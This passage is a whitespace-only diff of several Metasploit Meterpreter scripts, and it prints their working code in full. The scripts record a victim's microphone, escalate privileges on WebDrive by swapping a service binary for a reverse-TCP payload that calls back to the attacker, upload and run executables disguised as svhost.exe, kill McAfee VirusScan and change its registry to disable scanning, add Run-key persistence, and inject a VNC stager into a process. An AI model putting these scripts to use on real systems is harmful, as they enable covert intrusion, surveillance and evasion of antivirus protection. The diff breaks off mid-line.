::File.join(Msf::Config.log_directory, "scripts", "sound_recorder", host + filenameinfo ) + end - # Create the log directory - ::FileUtils.mkdir_p(logs) - return logs + # Create the log directory + ::FileUtils.mkdir_p(logs) + return logs end # Function for converting a number of seconds to time in minutes #------------------------------------------------------------------------------- def convert_seconds_to_time(seconds) - total_minutes = seconds / 1.minutes - seconds_in_last_minute = seconds - total_minutes.minutes.seconds - "#{total_minutes}m #{seconds_in_last_minute}s" + total_minutes = seconds / 1.minutes + seconds_in_last_minute = seconds - total_minutes.minutes.seconds + "#{total_minutes}m #{seconds_in_last_minute}s" end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - if ::File.directory? val - log_folder = log_folder_create(val) - else - print_error("Option provided #{val} is not a folder!") - raise Rex::Script::Completed - end - when "-i" - intervals = val.to_i - end + case opt + when "-h" + usage + when "-l" + if ::File.directory? val + log_folder = log_folder_create(val) + else + print_error("Option provided #{val} is not a folder!") + raise Rex::Script::Completed + end + when "-i" + intervals = val.to_i + end } # Check for Version of Meterpreter @@ -82,28 +82,28 @@ def convert_seconds_to_time(seconds) # Create Folder for logs and get path for logs if not log_folder - log_folder = log_folder_create + log_folder = log_folder_create end print_status("Saving recorded audio to #{log_folder}") print_status("Recording a total of #{convert_seconds_to_time(intervals*30)}") (1..intervals).each do |i| - # Set file name - file_name = client.sys.config.sysinfo["Computer"] <<"_"<< i.to_s << ".wav" + # Set file name + file_name = client.sys.config.sysinfo["Computer"] <<"_"<< i.to_s << ".wav" - # Set path for file - path = ::File.join(log_folder,file_name) + # Set path for file + path = ::File.join(log_folder,file_name) - # Record audio - data = @client.webcam.record_mic(duration) + # Record audio + data = @client.webcam.record_mic(duration) - # Check if we got data if not we error and exit - if (data) - ::File.open( path, 'wb' ) do |fd| - fd.write( data ) - end - print_good( "\tAudio saved to: #{file_name}" ) - else - print_error("There appeats a microphone is not present or muted!") - raise Rex::Script::Completed - end + # Check if we got data if not we error and exit + if (data) + ::File.open( path, 'wb' ) do |fd| + fd.write( data ) + end + print_good( "\tAudio saved to: #{file_name}" ) + else + print_error("There appeats a microphone is not present or muted!") + raise Rex::Script::Completed + end end diff --git a/scripts/meterpreter/srt_webdrive_priv.rb b/scripts/meterpreter/srt_webdrive_priv.rb index fc2083e7298c..0b6f622ede53 100644 --- a/scripts/meterpreter/srt_webdrive_priv.rb +++ b/scripts/meterpreter/srt_webdrive_priv.rb @@ -24,10 +24,10 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-m" => [ false, "Mitigate"], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"] + "-h" => [ false, "This help menu"], + "-m" => [ false, "Mitigate"], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"] ) # @@ -41,88 +41,88 @@ #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i # # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.") - print_line(opts.usage) - raise Rex::Script::Completed - when "-m" - client.sys.process.get_processes().each do |m| - if ( m['name'] == pname ) - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - - # Set correct service security descriptor to mitigate the vulnerability - print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.") - client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", - nil, {'Hidden' => 'true'}) - end - end - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - end + case opt + when "-h" + print_status("South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation.") + print_line(opts.usage) + raise Rex::Script::Completed + when "-m" + client.sys.process.get_processes().each do |m| + if ( m['name'] == pname ) + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + + # Set correct service security descriptor to mitigate the vulnerability + print_status("Setting correct security descriptor for the South River Technologies WebDrive Service.") + client.sys.process.execute("cmd.exe /c sc sdset \"#{sname}\" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)", + nil, {'Hidden' => 'true'}) + end + end + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + end end client.sys.process.get_processes().each do |m| - if ( m['name'] == pname ) - - print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") - - # Build out the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate - - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - - # Place our newly created exe in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - print_status("Sending EXE payload '#{tempexe}'.") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - - # Stop the vulnerable service - print_status("Stopping service \"#{sname}\"...") - client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'}) - - # Set exe payload as service binpath - print_status("Setting \"#{sname}\" to #{tempexe}...") - client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) - sleep(1) - - # Restart the service - print_status("Restarting the \"#{sname}\" service...") - client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'}) - - # Our handler to recieve the callback. - handler = client.framework.exploits.create("multi/handler") - handler.datastore['WORKSPACE'] = client.workspace - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['ExitOnSession'] = false - - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) - - # Set service binpath back to normal - client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'}) - - end + if ( m['name'] == pname ) + + print_status("Found vulnerable process #{m['name']} with pid #{m['pid']}.") + + # Build out the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate + + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + + # Place our newly created exe in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + print_status("Sending EXE payload '#{tempexe}'.") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + + # Stop the vulnerable service + print_status("Stopping service \"#{sname}\"...") + client.sys.process.execute("cmd.exe /c sc stop \"#{sname}\" ", nil, {'Hidden' => 'true'}) + + # Set exe payload as service binpath + print_status("Setting \"#{sname}\" to #{tempexe}...") + client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= #{tempexe}", nil, {'Hidden' => 'true'}) + sleep(1) + + # Restart the service + print_status("Restarting the \"#{sname}\" service...") + client.sys.process.execute("cmd.exe /c sc start \"#{sname}\" ", nil, {'Hidden' => 'true'}) + + # Our handler to recieve the callback. + handler = client.framework.exploits.create("multi/handler") + handler.datastore['WORKSPACE'] = client.workspace + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['ExitOnSession'] = false + + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + + # Set service binpath back to normal + client.sys.process.execute("cmd.exe /c sc config \"#{sname}\" binpath= %ProgramFiles%\\WebDrive\\#{pname}", nil, {'Hidden' => 'true'}) + + end end diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb index 641de0e67bec..ccc997b884c7 100644 --- a/scripts/meterpreter/uploadexec.rb +++ b/scripts/meterpreter/uploadexec.rb @@ -1,89 +1,89 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-e" => [ true, "Executable or script to upload to target host." ], - "-o" => [ true, "Options for executable." ], - "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ], - "-v" => [ false,"Verbose, return output of execution of uploaded executable." ], - "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ] + "-h" => [ false,"Help menu." ], + "-e" => [ true, "Executable or script to upload to target host." ], + "-o" => [ true, "Options for executable." ], + "-p" => [ false,"Path on target to upload executable, default is %TEMP%." ], + "-v" => [ false,"Verbose, return output of execution of uploaded executable." ], + "-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ] ) ################## function declaration Declarations ################## def usage() - print_line "UploadExec -- upload a script or executable and run it" - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line "UploadExec -- upload a script or executable and run it" + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end def upload(session,file,trgloc = "") - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == "" - location = session.fs.file.expand_path("%TEMP%") - else - location = trgloc - end - begin - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - else - fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("\tUploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("\t#{file} uploaded!") - print_status("\tUploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - raise e - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + location = session.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + else + fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" + end + print_status("\tUploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("\t#{file} uploaded!") + print_status("\tUploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + raise e + end + end + return fileontrgt end #Function for executing a list of commands def cmd_on_trgt_exec(session,cmdexe,opt,verbose) - r='' - session.response_timeout=120 - if verbose == 1 - begin - print_status "\tRunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true}) - while(d = r.channel.read) - print_status("\t#{d}") - end - r.channel.close - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - else - begin - print_status "\trunning command #{cmdexe}" - r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) - r.close - rescue ::Exception => e - print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") - raise e - end - end + r='' + session.response_timeout=120 + if verbose == 1 + begin + print_status "\tRunning command #{cmdexe}" + r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true}) + while(d = r.channel.read) + print_status("\t#{d}") + end + r.channel.close + r.close + rescue ::Exception => e + print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") + raise e + end + else + begin + print_status "\trunning command #{cmdexe}" + r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false}) + r.close + rescue ::Exception => e + print_status("Error Running Command #{cmdexe}: #{e.class} #{e}") + raise e + end + end end def m_unlink(session, path) - r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) - while(r.name) - select(nil, nil, nil, 0.10) - end - r.close + r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) + while(r.name) + select(nil, nil, nil, 0.10) + end + r.close end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i #parsing of Options @@ -94,31 +94,31 @@ def unsupported verbose = 0 remove = 0 @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - file = val || "" - when "-o" - cmdopt = val - when "-p" - path = val - when "-v" - verbose = 1 - when "-h" - helpcall = 1 - when "-r" - remove = 1 - end + case opt + when "-e" + file = val || "" + when "-o" + cmdopt = val + when "-p" + path = val + when "-v" + verbose = 1 + when "-h" + helpcall = 1 + when "-r" + remove = 1 + end } if args.length == 0 || helpcall == 1 - usage + usage end print_status("Running Upload and Execute Meterpreter script....") exec = upload(session,file,path) cmd_on_trgt_exec(session,exec,cmdopt,verbose) if remove == 1 - print_status("\tDeleting #{exec}") - m_unlink(session, exec) + print_status("\tDeleting #{exec}") + m_unlink(session, exec) end print_status("Finished!") diff --git a/scripts/meterpreter/virtualbox_sysenter_dos.rb b/scripts/meterpreter/virtualbox_sysenter_dos.rb index 6aa80068b374..910e8f595d0e 100644 --- a/scripts/meterpreter/virtualbox_sysenter_dos.rb +++ b/scripts/meterpreter/virtualbox_sysenter_dos.rb @@ -2,23 +2,23 @@ # http://milw0rm.com/exploits/9323 opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323") - print_line("USAGE: run virtualbox_sysenter_dos") - print_status(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("virtualbox_sysenter_dos -- trigger the VirtualBox DoS published at http://milw0rm.com/exploits/9323") + print_line("USAGE: run virtualbox_sysenter_dos") + print_status(opts.usage) + raise Rex::Script::Completed + end } #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index 794328865500..ccb56af97384 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -10,45 +10,45 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-k" => [ false,"Only kills VirusScan processes"], - "-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ] + "-h" => [ false,"Help menu." ], + "-k" => [ false,"Only kills VirusScan processes"], + "-e" => [ true,"Executable to upload to target host. (modifies registry and exclusion list)" ] ) ################## function declaration Declarations ################## def usage() - print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com" - print_line "----------------------------------------------------------------------------------------------" - print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it" - print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)" - print_line "----------------------------------------------------------------------------------------------" - print_line(@@exec_opts.usage) + print_line "\nAuthor: Mert SARICA (mert.sarica [@] gmail.com) \t\tWeb: http://www.mertsarica.com" + print_line "----------------------------------------------------------------------------------------------" + print_line "Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder adds it" + print_line "to exclusion list and set it to run at startup. (Requires administrator privilege)" + print_line "----------------------------------------------------------------------------------------------" + print_line(@@exec_opts.usage) end @path = "" @location = "" def upload(session,file,trgloc) - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - @location = session.fs.file.expand_path("%TEMP%") - begin - ext = file.scan(/\S*(.exe)/i) - if ext.join == ".exe" - fileontrgt = "#{@location}\\MS#{rand(100)}.exe" - else - fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}" - end - @path = fileontrgt - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("Uploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + @location = session.fs.file.expand_path("%TEMP%") + begin + ext = file.scan(/\S*(.exe)/i) + if ext.join == ".exe" + fileontrgt = "#{@location}\\MS#{rand(100)}.exe" + else + fileontrgt = "#{@location}\\MS#{rand(100)}#{ext}" + end + @path = fileontrgt + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("Uploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + end + end + return fileontrgt end #parsing of Options @@ -56,51 +56,51 @@ def upload(session,file,trgloc) helpcall = 0 killonly = 0 @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-e" - file = val || "" - when "-h" - helpcall = 1 - when "-k" - killonly = 1 - end + case opt + when "-e" + file = val || "" + when "-h" + helpcall = 1 + when "-k" + killonly = 1 + end } if killonly == 0 - if file == "" - usage - raise Rex::Script::Completed - end + if file == "" + usage + raise Rex::Script::Completed + end end # Magic kill order :) avs = %W{ - shstat.exe - engineserver.exe - frameworkservice.exe - naprdmgr.exe - mctray.exe - mfeann.exe - vstskmgr.exe - mcshield.exe + shstat.exe + engineserver.exe + frameworkservice.exe + naprdmgr.exe + mctray.exe + mfeann.exe + vstskmgr.exe + mcshield.exe } av = 0 plist = client.sys.process.get_processes() plist.each do |x| - if (avs.index(x['name'].downcase)) - av = av + 1 - end + if (avs.index(x['name'].downcase)) + av = av + 1 + end end if av > 6 - print_status("VirusScan Enterprise v8.7.0i+ is running...") + print_status("VirusScan Enterprise v8.7.0i+ is running...") else - print_status("VirusScan Enterprise v8.7.0i+ is not running!") - raise Rex::Script::Completed + print_status("VirusScan Enterprise v8.7.0i+ is not running!") + raise Rex::Script::Completed end target_pid = nil @@ -112,8 +112,8 @@ def upload(session,file,trgloc) target_pid = client.sys.process[target] if not target_pid - print_error("Could not access the target process") - raise Rex::Script::Completed + print_error("Could not access the target process") + raise Rex::Script::Completed end print_status("Migrating into process ID #{target_pid}") @@ -122,84 +122,84 @@ def upload(session,file,trgloc) target_pid = nil if killonly == 1 - avs.each do |x| - # Get the target process pid - target_pid = client.sys.process[x] - print_status("Killing off #{x}...") - client.sys.process.kill(target_pid) - end + avs.each do |x| + # Get the target process pid + target_pid = client.sys.process[x] + print_status("Killing off #{x}...") + client.sys.process.kill(target_pid) + end else - avs.each do |x| - # Get the target process pid - target_pid = client.sys.process[x] - print_status("Killing off #{x}...") - client.sys.process.kill(target_pid) - end - - # Upload it - exec = upload(session,file,"") - - # Initiailze vars - key = nil - value = nil - data = nil - type = nil - - # Mcafee registry key - key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default' - - # Split the key into its parts - root_key, base_key = client.sys.registry.splitkey(key) - - # Disable when writing to disk option - value = "bScanIncoming" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") - - # Disable when reading from disk option - value = "bScanOutgoing" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") - - # Disable detection of unwanted programs - value = "ApplyNVP" - data = 0 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") - - # Increase the number of excluded items - value = "NumExcludeItems" - data = 1 - type = "REG_DWORD" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") - - # Add executable to excluded item folder - value = "ExcludedItem_0" - data = "3|3|" + @location - type = "REG_SZ" - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") - - # Set registry to run executable at startup - key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' - # Split the key into its parts - root_key, base_key = client.sys.registry.splitkey(key) - value = "MS" - data = @path - open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) - print_status("Successful set #{key} -> #{value} to #{data}.") + avs.each do |x| + # Get the target process pid + target_pid = client.sys.process[x] + print_status("Killing off #{x}...") + client.sys.process.kill(target_pid) + end + + # Upload it + exec = upload(session,file,"") + + # Initiailze vars + key = nil + value = nil + data = nil + type = nil + + # Mcafee registry key + key = 'HKLM\Software\Mcafee\VSCore\On Access Scanner\MCShield\Configuration\Default' + + # Split the key into its parts + root_key, base_key = client.sys.registry.splitkey(key) + + # Disable when writing to disk option + value = "bScanIncoming" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") + + # Disable when reading from disk option + value = "bScanOutgoing" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") + + # Disable detection of unwanted programs + value = "ApplyNVP" + data = 0 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") + + # Increase the number of excluded items + value = "NumExcludeItems" + data = 1 + type = "REG_DWORD" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") + + # Add executable to excluded item folder + value = "ExcludedItem_0" + data = "3|3|" + @location + type = "REG_SZ" + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") + + # Set registry to run executable at startup + key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' + # Split the key into its parts + root_key, base_key = client.sys.registry.splitkey(key) + value = "MS" + data = @path + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") end print_status("Finished!") diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 42b3ddb67fbd..b0b47cadcb6d 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -8,17 +8,17 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"], - "-v" => [ true, "The local port for the VNC proxy service (default: 5900)"], - "-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"], - "-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], - "-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"], - "-V" => [ false, "Disable the automatic launch of the VNC client"], - "-t" => [ false, "Tunnel through the current session connection. (Will be slower)"], - "-c" => [ false, "Enable the VNC courtesy shell"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"], + "-v" => [ true, "The local port for the VNC proxy service (default: 5900)"], + "-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"], + "-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"], + "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], + "-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"], + "-V" => [ false, "Disable the automatic launch of the VNC client"], + "-t" => [ false, "Tunnel through the current session connection. (Will be slower)"], + "-c" => [ false, "Enable the VNC courtesy shell"] ) # @@ -26,9 +26,9 @@ # if (client.sock and client.sock.respond_to? :peerhost and client.sock.peerhost) - rhost = Rex::Socket.source_address(client.sock.peerhost) + rhost = Rex::Socket.source_address(client.sock.peerhost) else - rhost = Rex::Socket.source_address("1.2.3.4") + rhost = Rex::Socket.source_address("1.2.3.4") end rport = 4545 vport = 5900 @@ -48,38 +48,38 @@ # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-v" - vport = val.to_i - when "-P" - runme = val - when "-D" - autoconn = false - when "-O" - anyaddr = true - when "-V" - autovnc = false - when "-c" - courtesy = true - when "-t" - tunnel = true - autoconn = true - when "-i" - inject = true - end + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-v" + vport = val.to_i + when "-P" + runme = val + when "-D" + autoconn = false + when "-O" + anyaddr = true + when "-V" + autovnc = false + when "-c" + courtesy = true + when "-t" + tunnel = true + autoconn = true + when "-i" + inject = true + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -87,90 +87,90 @@ def unsupported # Create the raw payload # if (tunnel) - print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}") - payload = "windows/vncinject/bind_tcp" + print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}") + payload = "windows/vncinject/bind_tcp" - pay = client.framework.payloads.create(payload) - pay.datastore['RHOST'] = lhost - pay.datastore['LPORT'] = rport - pay.datastore['VNCPORT'] = vport + pay = client.framework.payloads.create(payload) + pay.datastore['RHOST'] = lhost + pay.datastore['LPORT'] = rport + pay.datastore['VNCPORT'] = vport else - print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport})") - payload = "windows/vncinject/reverse_tcp" + print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport})") + payload = "windows/vncinject/reverse_tcp" - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - pay.datastore['VNCPORT'] = vport + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + pay.datastore['VNCPORT'] = vport end if (not courtesy) - pay.datastore['DisableCourtesyShell'] = true + pay.datastore['DisableCourtesyShell'] = true end if (anyaddr) - pay.datastore['VNCHOST'] = "0.0.0.0" + pay.datastore['VNCHOST'] = "0.0.0.0" end if autoconn - mul = client.framework.exploits.create("multi/handler") - mul.share_datastore(pay.datastore) - - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = payload - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = true - mul.datastore['WfsDelay'] = 7 - - mul.datastore['AUTOVNC'] = autovnc - - print_status("Running payload handler") - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + mul = client.framework.exploits.create("multi/handler") + mul.share_datastore(pay.datastore) + + mul.datastore['WORKSPACE'] = client.workspace + mul.datastore['PAYLOAD'] = payload + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = true + mul.datastore['WfsDelay'] = 7 + + mul.datastore['AUTOVNC'] = autovnc + + print_status("Running payload handler") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end raw = pay.generate if (inject) - # - # Create a host process - # - pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid - print_status("Host process #{runme} has PID #{pid}") - host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the VNC stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) + # + # Create a host process + # + pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid + print_status("Host process #{runme} has PID #{pid}") + host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the VNC stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) else - exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) - print_status("VNC stager executable #{exe.length} bytes long") - - # - # Upload to the filesystem - # - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + 